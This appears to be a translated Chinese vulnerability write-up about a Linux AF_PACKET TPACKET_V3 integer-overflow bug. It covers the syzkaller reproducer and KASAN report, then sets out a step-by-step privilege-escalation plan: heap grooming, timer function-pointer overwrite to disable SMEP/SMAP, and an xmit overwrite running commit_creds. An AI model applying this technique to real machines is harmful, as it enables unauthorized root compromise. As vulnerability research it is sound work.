然后我们声明了setsockopt$packet_rx_ring以及setsockopt$packet_tx_ring。这些系统调用会在sock_packet套接字上设置PACKET_RX_RING以及PACKET_TX_RING套接字选项。我会在下文讨论这两个选项的具体细节。这两者都使用了tpacket_req_u联合体（union）作为套接字选项的值。tpacket_req_u联合体包含两个结构体成员，分别为tpacket_req以及tpacket_req3。
一旦描述信息添加完毕，我们就可以使用syzkaller对与数据包相关的系统调用进行模糊测试。我在syzkaller管理配置选项中的设置信息如下所示：
"enable_syscalls": [
"socket$packet", "socketpair$packet", "accept$packet", "accept4$packet", "bind$packet", "connect$packet", "sendto$packet", "recvfrom$packet", "getsockname$packet", "getpeername$packet", "listen", "setsockopt", "getsockopt", "syz_emit_ethernet"
],
使用这些描述信息运行syzkaller一段时间之后，我开始观察到内核崩溃现象。某个syzkaller应用所触发的bug如下所示：
mmap(&(0x7f0000000000/0xc8f000)=nil, (0xc8f000), 0x3, 0x32, 0xffffffffffffffff, 0x0)
r0 = socket$packet(0x11, 0x3, 0x300)
setsockopt$packet_int(r0, 0x107, 0xa, &(0x7f000061f000)=0x2, 0x4)
setsockopt$packet_rx_ring(r0, 0x107, 0x5, &(0x7f0000c8b000)=@req3={0x10000, 0x3, 0x10000, 0x3, 0x4, 0xfffffffffffffffe, 0x5}, 0x1c)
KASAN的某个报告如下所示。需要注意的是，由于访问点距离数据块边界非常远，因此分配和释放栈没有对应溢出（overflown）对象。
==================================================================
BUG: KASAN: slab-out-of-bounds in prb_close_block net/packet/af_packet.c:808
Write of size 4 at addr ffff880054b70010 by task syz-executor0/30839
CPU: 0 PID: 30839 Comm: syz-executor0 Not tainted 4.11.0-rc2+ #94
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
Call Trace:
__dump_stack lib/dump_stack.c:16 [inline]
dump_stack+0x292/0x398 lib/dump_stack.c:52
print_address_description+0x73/0x280 mm/kasan/report.c:246
kasan_report_error mm/kasan/report.c:345 [inline]
kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:368
kasan_report mm/kasan/report.c:393 [inline]
__asan_report_store4_noabort+0x2c/0x30 mm/kasan/report.c:393
prb_close_block net/packet/af_packet.c:808 [inline]
prb_retire_current_block+0x6ed/0x820 net/packet/af_packet.c:970
__packet_lookup_frame_in_block net/packet/af_packet.c:1093 [inline]
packet_current_rx_frame net/packet/af_packet.c:1122 [inline]
tpacket_rcv+0x9c1/0x3750 net/packet/af_packet.c:2236
packet_rcv_fanout+0x527/0x810 net/packet/af_packet.c:1493
deliver_skb net/core/dev.c:1834 [inline]
__netif_receive_skb_core+0x1cff/0x3400 net/core/dev.c:4117
__netif_receive_skb+0x2a/0x170 net/core/dev.c:4244
netif_receive_skb_internal+0x1d6/0x430 net/core/dev.c:4272
netif_receive_skb+0xae/0x3b0 net/core/dev.c:4296
tun_rx_batched.isra.39+0x5e5/0x8c0 drivers/net/tun.c:1155
tun_get_user+0x100d/0x2e20 drivers/net/tun.c:1327
tun_chr_write_iter+0xd8/0x190 drivers/net/tun.c:1353
call_write_iter include/linux/fs.h:1733 [inline]
new_sync_write fs/read_write.c:497 [inline]
__vfs_write+0x483/0x760 fs/read_write.c:510
vfs_write+0x187/0x530 fs/read_write.c:558
SYSC_write fs/read_write.c:605 [inline]
SyS_write+0xfb/0x230 fs/read_write.c:597
entry_SYSCALL_64_fastpath+0x1f/0xc2
RIP: 0033:0x40b031
RSP: 002b:00007faacbc3cb50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 000000000000002a RCX: 000000000040b031
RDX: 000000000000002a RSI: 0000000020002fd6 RDI: 0000000000000015
RBP: 00000000006e2960 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000708000
R13: 000000000000002a R14: 0000000020002fd6 R15: 0000000000000000
Allocated by task 30534:
save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:513
set_track mm/kasan/kasan.c:525 [inline]
kasan_kmalloc+0xad/0xe0 mm/kasan/kasan.c:617
kasan_slab_alloc+0x12/0x20 mm/kasan/kasan.c:555
slab_post_alloc_hook mm/slab.h:456 [inline]
slab_alloc_node mm/slub.c:2720 [inline]
slab_alloc mm/slub.c:2728 [inline]
kmem_cache_alloc+0x1af/0x250 mm/slub.c:2733
getname_flags+0xcb/0x580 fs/namei.c:137
getname+0x19/0x20 fs/namei.c:208
do_sys_open+0x2ff/0x720 fs/open.c:1045
SYSC_open fs/open.c:1069 [inline]
SyS_open+0x2d/0x40 fs/open.c:1064
entry_SYSCALL_64_fastpath+0x1f/0xc2
Freed by task 30534:
save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:513
set_track mm/kasan/kasan.c:525 [inline]
kasan_slab_free+0x72/0xc0 mm/kasan/kasan.c:590
slab_free_hook mm/slub.c:1358 [inline]
slab_free_freelist_hook mm/slub.c:1381 [inline]
slab_free mm/slub.c:2963 [inline]
kmem_cache_free+0xb5/0x2d0 mm/slub.c:2985
putname+0xee/0x130 fs/namei.c:257
do_sys_open+0x336/0x720 fs/open.c:1060
SYSC_open fs/open.c:1069 [inline]
SyS_open+0x2d/0x40 fs/open.c:1064
entry_SYSCALL_64_fastpath+0x1f/0xc2
Object at ffff880054b70040 belongs to cache names_cache of size 4096
The buggy address belongs to the page:
page:ffffea000152dc00 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0
flags: 0x500000000008100(slab|head)
raw: 0500000000008100 0000000000000000 0000000000000000 0000000100070007
raw: ffffea0001549a20 ffffea0001b3cc20 ffff88003eb44f40 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff880054b6ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff880054b6ff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff880054b70000: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
^
ffff880054b70080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff880054b70100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
你可以参考syzkaller的代码仓库以了解更多细节，也可以参考KASAN的内核文档部分了解更多细节。如果你在使用syzkaller或者KASAN的过程中遇到任何问题，可以发邮件到[email protected]以及[email protected]进行咨询。
**三、AF_PACKET套接字简介**
为了更好了解这个bug、bug所引发的漏洞以及如何利用这个漏洞，我们需要了解AF_PACKET套接字的相关内容，理解它们在内核中的具体实现方式。
**3.1 概要**
用户可以使用AF_PACKET在设备驱动层发送或者接受数据包。这样一来，用户就可以在物理层之上实现自己的协议，也可以嗅探包含以太网和更高层协议头部的数据包。为了创建一个AF_PACKET套接字，进程必须在用户命名空间中具备CAP_NET_RAW权限，以便管理进程的网络命名空间（network
namespace）。你可以参考数据包套接字文档了解更多细节。需要注意的是，如果内核启用了非特权用户命名空间，那么非特权用户就能创建数据包套接字。
进程可以使用send和recv这两个系统调用在数据包套接字上发送和接受数据包。然而，数据包套接字提供了一个环形缓冲区（ring
buffer）方式使数据包的发送和接受更为高效，这个环形缓冲区可以在内核和用户空间之间共享使用。我们可以使用PACKET_TX_RING以及PACKET_RX_RING套接字选项创建环形缓冲区。之后，用户可以使用内存映射方式（mmap）映射这个缓冲区，这样包数据就能直接读取和写入到这个缓冲区中。
内核在处理环形缓冲区时有几种不同的处理方式。用户可以使用PACKET_VERSION这个套接字选项选择具体使用的方式。我们可以参考内核文档（搜索“TPACKET
versions”关键字），了解不同版本的环形缓冲区之间的区别。
人们熟知的AF_PACKET套接字的一个应用就是tcpdump工具。使用tcpdump嗅探某个接口上的所有数据包时，处理流程如下所示：
# strace tcpdump -i eth0
...
socket(PF_PACKET, SOCK_RAW, 768) = 3
...
bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0
...
setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0
...
setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0
...
mmap(NULL, 4063232, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7f73a6817000
...
以上系统调用的顺序对应如下操作：
1、创建一个套接字：socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))；
2、套接字绑定到eth0接口；
3、通过PACKET_VERSION套接字选项，将环形缓冲区版本设置为TPACKET_V2；
4、使用PACKET_RX_RING套接字选项，创建一个环形缓冲区；
5、将环形缓冲区映射到用户空间。
在这之后，内核开始将来自于eth0接口的所有数据包存入环形缓冲区中，然后tcpdump会从用户空间中对应的映射区域读取这些数据包。
**3.2 环形缓冲区（ring buffers）**
让我们了解一下如何在数据包套接字上使用环形缓冲区。出于一致性考虑，我们在下文引用的代码片段全部来自于4.8版Linux内核。这个内核也是最新的Ubuntu
16.04.2所使用的内核。
现有的文档主要关注的是TPACKET_V1以及TPACKET_V2版的环形缓冲区。由于本文提到的bug只影响TPACKET_V3版，因此我在下文假设我们处理的都是TPACKET_V3版。另外，我主要关注的是PACKET_RX_RING选项，会忽略另一个PACKET_TX_RING选项。
一个环形缓冲区就是一块存放数据包的内存区域。每个数据包会存放在一个单独的帧（frame）中，多个帧会被分组形成内存块。在TPACKET_V3环形缓冲区中，帧的大小是不固定的，只要帧能够存放到内存块中，它的大小就可以取任意值。
为了使用PACKET_RX_RING套接字选项创建TPACKET_V3环形缓冲区，用户必须为环形缓冲区提供准确的参数值。这些参数会通过一个指向tpacket_req3结构体的指针传递给setsockopt调用，该结构体的定义如下所示：
274 struct tpacket_req3 {
275 unsigned int tp_block_size; /* Minimal size of contiguous block */
276 unsigned int tp_block_nr; /* Number of blocks */
277 unsigned int tp_frame_size; /* Size of frame */
278 unsigned int tp_frame_nr; /* Total number of frames */
279 unsigned int tp_retire_blk_tov; /* timeout in msecs */
280 unsigned int tp_sizeof_priv; /* offset to private data area */
281 unsigned int tp_feature_req_word;
282 };
tpacket_req3结构体中每个字段的含义如下所示：
1、tp_block_size：每个内存块的大小；
2、tp_block_nr：内存块的个数；
3、tp_frame_size：每个帧的大小，TPACKET_V3会忽视这个字段；
4、tp_frame_nr：帧的个数，TPACKET_V3会忽视这个字段；
5、tp_retire_blk_tov：超时时间（毫秒），超时后即使内存块没有被数据完全填满也会被内核停用（参考下文）；
6、tp_sizeof_priv：每个内存块中私有区域的大小。用户可以使用这个区域存放与每个内存块有关的任何信息；
7、tp_feature_req_word：一组标志（目前实际上只有一个标志），可以用来启动某些附加功能。
每个内存块都有一个头部与之相关，该头部存放在为这个内存块所分配的内存空间的开头部位。内存块的头部结构为tpacket_block_desc，这个结构中有一个block_status字段，该字段用来标识内存块目前是否正在被内核使用，还是可以提供给用户使用。在通常的工作流程中，内核会将数据包存储在某个内存块中，直到该内存块被填满，之后内核会将block_status字段设置为TP_STATUS_USER。之后用户就可以从内存块中读取所需的数据，读取完毕后，会将block_status设置为TP_STATUS_KERNEL，以便释放内存块，归还给内核使用。
186 struct tpacket_hdr_v1 {
187 __u32 block_status;
188 __u32 num_pkts;
189 __u32 offset_to_first_pkt;
...
233 };
234
235 union tpacket_bd_header_u {
236 struct tpacket_hdr_v1 bh1;
237 };
238
239 struct tpacket_block_desc {
240 __u32 version;
241 __u32 offset_to_priv;
242 union tpacket_bd_header_u hdr;
243 };
同样，每个帧也有一个与之关联的头部，头部结构为tpacket3_hdr，其中tp_next_offset字段指向同一个内存块中的下一个帧。
162 struct tpacket3_hdr {
163 __u32 tp_next_offset;
...
176 };
当某个内存块完全被数据填满时（即新的数据包不会填充到剩余的空间中），内存块就会被关闭然后释放到用户空间中（也就是说被内核停用）。由于通常情况下，用户希望尽可能快地看到数据包，因此内核有可能会提前释放某个内存块，即使该内存块还没有被数据完全填满。内核会维护一个计时器，使用tp_retire_blk_tov参数控制超时时间，当超时发生时就会停用当前的内存块。
还有一种方式，那就是指定每个块的私有区域，内核不会触碰这个私有区域，用户可以使用该区域存储与内存块有关的任何信息。这个区域的大小通过tp_sizeof_priv参数进行传递。
如果你想更加详细了解用户空间程序如何使用TPACKET_V3环形缓冲区，你可以阅读官方文档中提供的具体示例（搜索“TPACKET_V3
example”关键词）。
**四、AF_PACKET套接字的具体实现**
我们来快速了解一下AF_PACKET在内核中的具体实现。
**4.1 结构体定义**
每当创建一个数据包套接字时，内核中就会分配与之对应的一个packet_sock结构体对象，如下所示：
103 struct packet_sock {
...
105 struct sock sk;
...
108 struct packet_ring_buffer rx_ring;
109 struct packet_ring_buffer tx_ring;
...
123 enum tpacket_versions tp_version;
...
130 int (*xmit)(struct sk_buff *skb);
...
132 };
这个结构体中，tp_version字段保存了环形缓冲区的版本，在本文案例中，我们通过setsockopt调用，传入PACKET_VERSION参数，将环形缓冲区的版本设置为TPACKET_V3。rx_ring以及tx_ring字段代表接收（receive）和传输（transmit）环形缓冲区，这类缓冲区使用设置了PACKET_RX_RING和PACKET_TX_RING选项的setsockopt调用来创建。这两个字段的类型为packet_ring_buffer，此类型的定义如下：
56 struct packet_ring_buffer {
57 struct pgv *pg_vec;
...
70 struct tpacket_kbdq_core prb_bdqc;
71 };
其中pg_vec字段为指向pgv结构体数组的一个指针，数组中的每个元素都保存了对某个内存块的引用。每个内存块实际上都是单独分配的，没有位于一个连续的内存区域中。
52 struct pgv {
53 char *buffer;
54 };
prb_bdqc字段的类型为tpacket_kbdq_core结构体，这个结构体的字段描述了环形缓冲区的当前状态，如下所示：
14 struct tpacket_kbdq_core {
...
21 unsigned short blk_sizeof_priv;
...
36 char *nxt_offset;
...
49 struct timer_list retire_blk_timer;
50 };
其中blk_sizeof_priv字段包含每个内存块所属的私有区域的大小。nxt_offset字段指向当前活跃的内存块的内部区域，表明下一个数据包的存放位置。retire_blk_timer字段的类型为timer_list结构体，用来描述超时发生后停用当前内存块的那个计时器，如下所示：
12 struct timer_list {
...
17 struct hlist_node entry;
18 unsigned long expires;
19 void (*function)(unsigned long);
20 unsigned long data;
...
31 };
**4.2 设置环形缓冲区**
内核使用packet_setsockopt()函数处理数据包套接字的选项设置操作。当使用PACKET_VERSION套接字选项时，内核就会将po->tp_version参数的值设置为对应的值。
在这之后，内核会使用PACKET_RX_RING套接字选项，创建一个用于数据包接收的环形缓冲区。内核使用packet_set_ring()函数完成这一过程。这个函数做了很多工作，因此我只是摘抄其中比较重要的那部分代码。首先，packet_set_ring()函数会对给定的环形缓冲区参数执行一系列完整性检查操作，如下所示：
4202 err = -EINVAL;
4203 if (unlikely((int)req->tp_block_size <= 0))
4204 goto out;
4205 if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
4206 goto out;
4207 if (po->tp_version >= TPACKET_V3 &&
4208 (int)(req->tp_block_size - 4209 BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
4210 goto out;
4211 if (unlikely(req->tp_frame_size < po->tp_hdrlen +
4212 po->tp_reserve))
4213 goto out;
4214 if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
4215 goto out;
4216
4217 rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
4218 if (unlikely(rb->frames_per_block == 0))
4219 goto out;
4220 if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
4221 req->tp_frame_nr))
4222 goto out;
之后，函数会分配环形缓冲区的内存块空间：
4224 err = -ENOMEM;
4225 order = get_order(req->tp_block_size);
4226 pg_vec = alloc_pg_vec(req, order);
4227 if (unlikely(!pg_vec))
4228 goto out;
我们应该注意到，alloc_pg_vec()函数使用了内核页分配器来分配内存块（我们会在漏洞利用中使用这个方法）：
4104 static char *alloc_one_pg_vec_page(unsigned long order)
4105 {
...
4110 buffer = (char *) __get_free_pages(gfp_flags, order);
4111 if (buffer)
4112 return buffer;
...
4127 }
4128
4129 static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
4130 {
...
4139 for (i = 0; i < block_nr; i++) {
4140 pg_vec[i].buffer = alloc_one_pg_vec_page(order);
...
4143 }
...
4152 }
最后，packet_set_ring()函数会调用init_prb_bdqc()函数，后者会通过一些额外的操作，创建一个接收数据包的TPACKET_V3环形缓冲区：
4229 switch (po->tp_version) {
4230 case TPACKET_V3:
...
4234 if (!tx_ring)
4235 init_prb_bdqc(po, rb, pg_vec, req_u);
4236 break;
4237 default:
4238 break;
4239 }
init_prb_bdqc()函数会将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段，在这些参数的基础上计算其他一些参数值，设置停用内存块的计时器，然后调用prb_open_block()函数初始化第一个内存块：
604 static void init_prb_bdqc(struct packet_sock *po,
605 struct packet_ring_buffer *rb,
606 struct pgv *pg_vec,
607 union tpacket_req_u *req_u)
608 {
609 struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
610 struct tpacket_block_desc *pbd;
...
616 pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;
617 p1->pkblk_start = pg_vec[0].buffer;
618 p1->kblk_size = req_u->req3.tp_block_size;
...
630 p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
631
632 p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
633 prb_init_ft_ops(p1, req_u);
634 prb_setup_retire_blk_timer(po);
635 prb_open_block(p1, pbd);
636 }
prb_open_block()函数做了一些事情，比如它会设置tpacket_kbdq_core结构体中的nxt_offset字段，将其指向紧挨着每个内存块私有区域的那个地址。
841 static void prb_open_block(struct tpacket_kbdq_core *pkc1,
842 struct tpacket_block_desc *pbd1)
843 {
...
862 pkc1->pkblk_start = (char *)pbd1;
863 pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
...
876 }
**4.3 数据包接收**
每当内核收到一个新的数据包时，内核应该会把它保存到环形缓冲区中。内核所使用的关键函数为__packet_lookup_frame_in_block()，这个函数的主要工作为：
1、检查当前活跃的内存块是否有充足的空间存放数据包；
2、如果空间足够，保存数据包到当前的内存块，然后返回；
3、如果空间不够，就调度下一个内存块，将数据包保存到下一个内存块。
1041 static void *__packet_lookup_frame_in_block(struct packet_sock *po,
1042 struct sk_buff *skb,
1043 int status,
1044 unsigned int len
1045 )
1046 {
1047 struct tpacket_kbdq_core *pkc;
1048 struct tpacket_block_desc *pbd;
1049 char *curr, *end;
1050
1051 pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
1052 pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
...
1075 curr = pkc->nxt_offset;
1076 pkc->skb = skb;
1077 end = (char *)pbd + pkc->kblk_size;
1078
1079 /* first try the current block */
1080 if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) {
1081 prb_fill_curr_block(curr, pkc, pbd, len);
1082 return (void *)curr;
1083 }
1084
1085 /* Ok, close the current block */
1086 prb_retire_current_block(pkc, po, 0);
1087
1088 /* Now, try to dispatch the next block */
1089 curr = (char *)prb_dispatch_next_block(pkc, po);
1090 if (curr) {
1091 pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
1092 prb_fill_curr_block(curr, pkc, pbd, len);
1093 return (void *)curr;
1094 }
...
1101 }
**五、漏洞分析**
**5.1 Bug分析**
让我们仔细分析一下packet_set_ring()函数中的检查过程，如下所示：
4207 if (po->tp_version >= TPACKET_V3 &&
4208 (int)(req->tp_block_size - 4209 BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
4210 goto out;
这个检查过程的目的是确保内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小。这个检查非常有必要，否则我们在内存块中就不会有足够的空间，更不用说能够预留空间存放数据包了。
然而，事实证明这个检查过程可以被绕过。如果我们设置了req_u->req3.tp_sizeof_priv的高位字节，那么将这个赋值表达式转换为整数（int）则会导致一个非常大的正整数值（而不是负值）。如下所示：
A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0
之后，在init_prb_bdqc()函数中，当req_u->req3.tp_sizeof_priv被复制到p1->blk_sizeof_priv时（参考前文提到的代码片段），它会被分割成两个低位字节，而后者的类型是unsigned
short。因此我们可以利用这个bug，将tpacket_kbdq_core结构体中的blk_sizeof_priv设置为任意值，以绕过所有的完整性检查过程。
**5.2 漏洞后果**
如果我们遍历net/packet/af_packet.c的源码，搜索blk_sizeof_priv的用法，我们会发现源码中有两处使用了这个函数。
第一个调用位于init_prb_bdqc()函数中，此时blk_sizeof_priv刚被赋值，用来设置max_frame_len变量的值。p1->max_frame_len的值代表可以保存到内存块中的某个帧大小的最大值。由于我们可以控制p1->blk_sizeof_priv，我们可以使BLK_PLUS_PRIV(p1->blk_sizeof_priv)的值大于p1->kblk_size的值。这样会导致p1->max_frame_len取的一个非常大的值，比内存块的大小更大。这样当某个帧被拷贝到内存块中时，我们就可以绕过对它的大小检测过程，最终导致内核堆越界写入问题。
问题还不仅限于此，blk_sizeof_priv的另一个调用位于prb_open_block()函数中，这个函数用来初始化一个内存块（参考上文的代码片段）。在这个函数中，当内核收到新的数据包时，数据包的写入地址存放在pkc1->nxt_offset中。内核不想覆盖内存块头部以及内存块对应的私有数据，因此它会将这个地址指向紧挨着头部和私有数据之后的那个地址。由于我们可以控制blk_sizeof_priv，因此我们也可以控制nxt_offset的最低的两个字节。这样我们就能够控制越界写入的偏移量。
总而言之，这个bug会导致内核堆越界写入，我们能控制的大小和偏移量最多可达64k字节。
**六、漏洞利用**
现在让我们研究下如何利用这个漏洞。我的目标系统是x86-64架构的Ubuntu
16.04.2，内核版本为4.8.0-41-generic，内核启用了KASLR、SMEP以及SMAP选项。Ubuntu内核为非特权用户启用了用户命名空间（CONFIG_USER_NS=y，且没有对空间的使用做出限制），因此非特权用户可以利用这个漏洞获取root权限。以下所有的漏洞利用步骤都在用户命名空间中完成。
Linux内核支持某些增强功能，会导致漏洞利用更加困难。KASLR（Kernel Address Space Layout
Randomization，内核地址空间布局随机化）机制会将内核文本（kernel
text）存放到一个随机的偏移地址，使得攻击者无法通过跳转到特定的固定地址完成攻击；每当内核试图从用户空间内存执行代码时，SMEP（Supervisor
Mode Execution
Protection，监督模式执行保护）机制就会触发内核的oops错误；每当内核试图直接访问用户空间的内存时，SMAP（Supervisor Mode
Access Prevention，监督模式访问防护）机制也能起到同样效果。
**6.1 堆操作**
漏洞的利用思路是利用堆越界写入bug，覆盖内存中与溢出内存块临近的那个函数指针。因此我们需要对堆进行精确处理，使得某些带有可触发函数指针的对象被精确放置在某个环形缓冲区之后。我选择前文提到的packet_sock结构体对象作为这类对象。我们需要找到一种办法，使得内核将一个环形缓冲区内存块和一个packet_sock对象紧紧分配在一起。
正如我前文提到的那样，环形缓冲区内存块通过内核页面分配器进行分配。内核页面分配器可以为内存块分配2^n个连续的内存页面。对于每个n值，分配器会为这类内存块维护一个freelist表，并在请求内存块时返回freelist表头。如果某个n值对应的freelist为空，分配器就会查找第一个满足m>n且其freelist不为空的值，然后将freelist分为两半，直到所需的大小得到满足。因此，如果我们开始以2^n大小重复分配内存块，那么在某些时候，这些内存块会由某个高位内存块分裂所得，且这些内存块会彼此相邻。
packet_sock对象通过slab分配器使用kmalloc()函数进行分配。slab分配器主要用于分配比单内存页还小的那些对象。它使用页面分配器分配一大块内存，然后切割这块内存，生成较小的对象。大的内存块称之为slabs，这也就是slab分配器的名称来源。一组slabs与它们的当前状态以及一组操作(如“分配对象”操作，以及“释放对象”操作)一起，统称为一个缓存（cache）。slab分配器会按照2^n大小，为对象创建一组通用的缓存。每当kmalloc(size)函数被调用时，slab分配器会将size调整到与2的幂最为接近的一个值，使用这个size作为缓存的大小。
由于内核一直使用的都是kmalloc()函数，如果我们试图分配一个对象，那么这个对象很大的可能会来自于之前已经创建的一个slab中。然而，如果我们开始分配同样大小的对象，那么在某些时候，slab分配器将会将同样大小的slab全部用光，然后不得不使用页面分配器分配另一个slab。
新创建的slab的大小取决于这个slab所用的对象大小。packet_sock结构体的大小大约为1920，而1024 < 1920 <=
2048，这意味着对象的大小会调整到2048，并且会使用kmalloc-2048缓存。对于这个特定的缓存，SLUB分配器（这个分配器是Ubuntu所使用的slab分配器）会使用大小为0x8000的slabs。因此每当分配器用光kmalloc-2048缓存的slab时，它就会使用页面分配器分配0x8000字节的空间。
了解这些知识后，我们就可以将一个kmalloc-2048的slab和一个环形缓冲区内存块分配在一起，使用如下步骤：
1、分配许多大小为2048的对象（对我来说512个就可以），填充当前kmalloc-2048缓存中存在的slabs。我们可以创建一堆数据包套接字来分配packet_sock对象，最终达到这个目的。
2、分配许多大小为0x8000的页面内存块（对我来说1024个就可以），挤掉页面分配器的freelists，使得某些高位页面内存块被拆分。我们可以创建另一个数据包套接字，将具有1024个大小为0x8000的内存块的环形缓冲区附加在其后，最终达到这个目的。
3、创建一个数据包套接字，并附加一个内存块大小为0x8000的环形缓冲区。最后一个内存块（我总共使用了2个内存块，原因在下面解释）就是我们需要溢出的那个内存块。
4、创建一堆数据包套接字来分配packet_sock结构体对象，最终导致至少有一个新的slab被分配。
这样我们就可以对堆进行精确操作，如下图所示：
为了排挤freelists、按照上述方法精确操作堆，我们需要分配的具体数量会根据设置的不同以及内存使用情况的不同而有所不同。对于一个大部分时间处于空闲状态的Ubuntu主机来说，使用我上面提到的个数就以足够。
**6.2 控制覆盖操作**
上面我提到过，这个bug会导致某个环形缓冲区内存块的越界写入，我们可以控制越界的偏移量，也可以控制写入数据的最大值。事实证明，我们不仅能够控制最大值和偏移量，我们实际上也能控制正在写入的精确数据（及其大小）。由于当前正在存放到环形缓冲区中的数据为正在通过特定网络接口的数据包，我们可以通过回环接口，使用原始套接字手动发送具有任意内容的数据包。如果我们在一个隔离的网络命名空间中执行这个操作，我们就不会受到外部网络流量干扰。
此外我们还需要注意其他一些事项。
首先，数据包的大小至少必须为14字节（两个mac地址占了12字节，而EtherType占了2个字节），以便传递到数据包套接字层。这意味着我们必须覆盖至少14字节的数据，而数据包本身的内容可以取任意值。
其次，出于对齐目的，nxt_offset的最低3个比特必须取值为2。这意味着我们不能在8字节对齐的偏移处开始执行覆盖操作。
再者，当数据包被接收然后保存到内存块中时，内核会更新内存块和帧头中的某些字段。如果我们将nxt_offset指向我们希望覆盖的某些特定偏移处，那么内存块和帧头结束部位的某些数据很有可能会被破坏。
另一个问题就是，如果我们将nxt_offset指向内存块的尾部，那么当第一个数据包正在接收时，第一个内存块会马上被关闭，这是因为内核会认为第一个内存块中没有任何空余的空间（这是正确的处理流程，可以参考__packet_lookup_frame_in_block()函数中的代码片段）。这不是一个真正的问题，因为我们可以创建一个具备2个内存块的环形缓冲区。在第一个内存块被关闭时，我们可以覆盖第二个内存块。
**6.3 执行代码**
现在，我们需要弄清楚我们需要覆盖哪个函数指针。在packet_sock结构体中，有一些函数指针字段，我最终使用了如下两个字段：
1、packet_sock->xmit；
2、packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func
每当用户尝试使用数据包套接字发送数据包时，就会调用第一个函数。提升到root权限的通常方法是在某个进程上下文中执行commit_creds(prepare_kernel_cred(0))载荷。对于第一个函数，进程上下文中会调用xmit指针，这意味着我们可以简单地将其指向一个包含载荷的可执行内存区域就能达到目的。
因此，我使用的是retire_blk_timer字段（Philip
Pettersson在他发现的CVE-2016-8655漏洞中也利用了这个字段）。这个字段包含一个函数指针，每当计时器超时时就会触发这个指针。在正常的数据包套接字操作过程中，retire_blk_timer->func指向的是prb_retire_rx_blk_timer_expired()，调用这个函数时会使用retire_blk_timer->data作为参数，这个参数中包含了packet_sock结构体对象的地址。由于我们可以一起覆盖函数字段和数据字段，因此我们可以获得一个非常完美的func(data)覆盖结果。
当前CPU核心的SMEP和SMAP状态由CR4寄存器的第20和21个比特位所控制。为了禁用这两个机制，我们应该将这两个比特位清零。为了做到这一点，我们可以使用前面获得的func(data)结果调用native_write_cr4(X)函数，其中X的第20和21个比特位设置为0。具体的X值可能取决于还有哪些CPU功能被启用。在我测试漏洞利用的那台机器上，CR4寄存器的值为0x10407f0（因为CPU不支持SMAP功能，因此只有SMEP比特被启用），因此我使用的X值为0x407f0。我们可以使用sched_setaffinity系统调用，强迫漏洞利用程序在某个CPU核心上运行，由于这个我们禁用了这个核心的SMAP和SMEP功能，这样一来就能确保用户空间载荷会在同一个核心上执行。
综合这些背景知识，我给出了如下的漏洞利用步骤：
1、找到内核文本地址，以绕过KASLR（具体方法参考下文描述）。
2、根据上文描述，操纵内核堆。
3、禁用SMEP和SMAP：
a) 在某个环形缓冲区内存块之后分配一个packet_sock对象；
b) 将一个接收环形缓冲区附加到packet_sock对象之后，以设置一个内存块停用计时器；
c)
溢出这个内存块，覆盖retire_blk_timer字段。使得retire_blk_timer->func指向native_write_cr4，并且使得retire_blk_timer->data的值与所需的CR4寄存器值相等；
d) 等待计时器执行，现在我们就可以在当前的CPU核心上禁用SMEP和SMAP了。
4、获取root权限。
a) 分配另一对packet_sock对象和环形缓冲区内存块。
b) 溢出这个内存块，覆盖xmit字段。使得xmit指向用户空间中分配的一个commit_creds(prepare_kernel_cred(0))函数。
c) 在对应的数据包套接字上发送一个数据包，xmit就会被触发，然后当前的进程就会获得root权限。
相应的漏洞利用代码可以在这个链接中找到。
